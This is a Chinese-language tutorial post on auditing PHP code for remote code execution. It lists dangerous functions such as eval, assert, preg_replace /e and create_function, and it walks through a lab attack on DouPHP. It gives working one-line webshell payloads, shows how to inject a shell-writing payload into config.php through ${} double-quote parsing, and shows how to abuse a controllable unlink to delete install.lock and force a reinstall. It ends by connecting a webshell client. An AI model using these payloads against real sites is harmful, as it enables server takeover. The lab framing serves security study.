前提(代码审计)
- 白盒测试(可以看到源代码)
- SQL(拦截规则)
- 触发链很长的漏洞(反序列化) A页面输入一些恶意的攻击参数 B页面能够调用A页面的参数,然后再输入一些恶意参数 C页面才能够执行
- 黑盒测试
代码审计方法:
- 通读全文发()
- 危险函数定位法(mysqli_query())
- 预定义函数:
eval()
代码执行mysqli_query()
SQL执行 - 自定义函数 代码审计中常见的危险PHP函数总结
代码执行|远程命令(RCE)
remote command/code execute
原理:
用户输入的数据被当作后端代码进行执行
一句话木马就是典型的代码执行漏洞
常见函数:
eval()
把字符串当代码执行 [eval他不是函数,不受disable _function影响]disable _function
作用是禁用函数eval()
可以用php插件将eval()
禁用assert()
只能执行单行数据的情况assert("eval('')")
套娃file_put_contents('1.php','<?php echo 1;echo 2;echo 3?>')
preg_replace()
正则替换, /e
<?php
echo preg_replace('/a/e',$_GET[8],'ac')
?>
匹配到就会代码执行
create_function()
根据传递的参数创建匿名函数,并为其返回唯一名称。
$a = create_function('$id','echo $id;'); 自定义函数$a
echo $a(8); //调用 有定义 才有用 ,8会传给到$a中的$id
- 回调函数()函数
array_map('函数名','传参数组')
把数组中的各个元素放入函数中执行,然后结果也是数组call_user_func()
也是回调函数 - 双引号二次解析(PHP版本有要求 5.5。38以上) 条件:
- 在双引号内部
- ${}在一起
- 中间内容会被代码执行
- PHP版本要5.5.38以上
<?php
$a="${phpinfo()}";
$b="${file_put_contents('1.php','<?php eval($_REQUEST[1]);?>')}";
?>
传参会被写入文件,只要在双引号内就可以
靶场实操
本地查看DouPHP


查看config.php文件

发现数据库账号密码被双引号包裹
于是就可以尝试在注册的时候使用写马函数,进行写入一句话
${file_put_contents($_GET[1],$_GET[2])}

成功写入到配置文件中


成功将一句话写入

这是在本地进行安装,但是在正常网站中并不能进行安装。
那如何才能注册呢?

这个就是方法
需要使用到可以删除文件和函数
unlink()
代码审计,寻找可控的unlink()
函数

$mobile_logo = $dou->get_one("SELECT value FROM " . $dou->table('config') . " WHERE name = 'mobile_logo'");



../../../../data/install.lock
这个相对路径或许可以删除
foreach ($_POST as $name => $value) { #键值分离(key:value)
if (is_array($value)) $value = serialize($value);
$dou->query("UPDATE " . $dou->table('config') . " SET value = '$value' WHERE name = '$name'");
}
update config set value=$value where name=$name;
$value ='../../../../data/install.lock'
$name ='mobile_logo'

上传之后直接删除就可以
开始正式靶场
和本地操作一样,就进入了重装界面





OK进入了
上菜刀

Comments NOTHING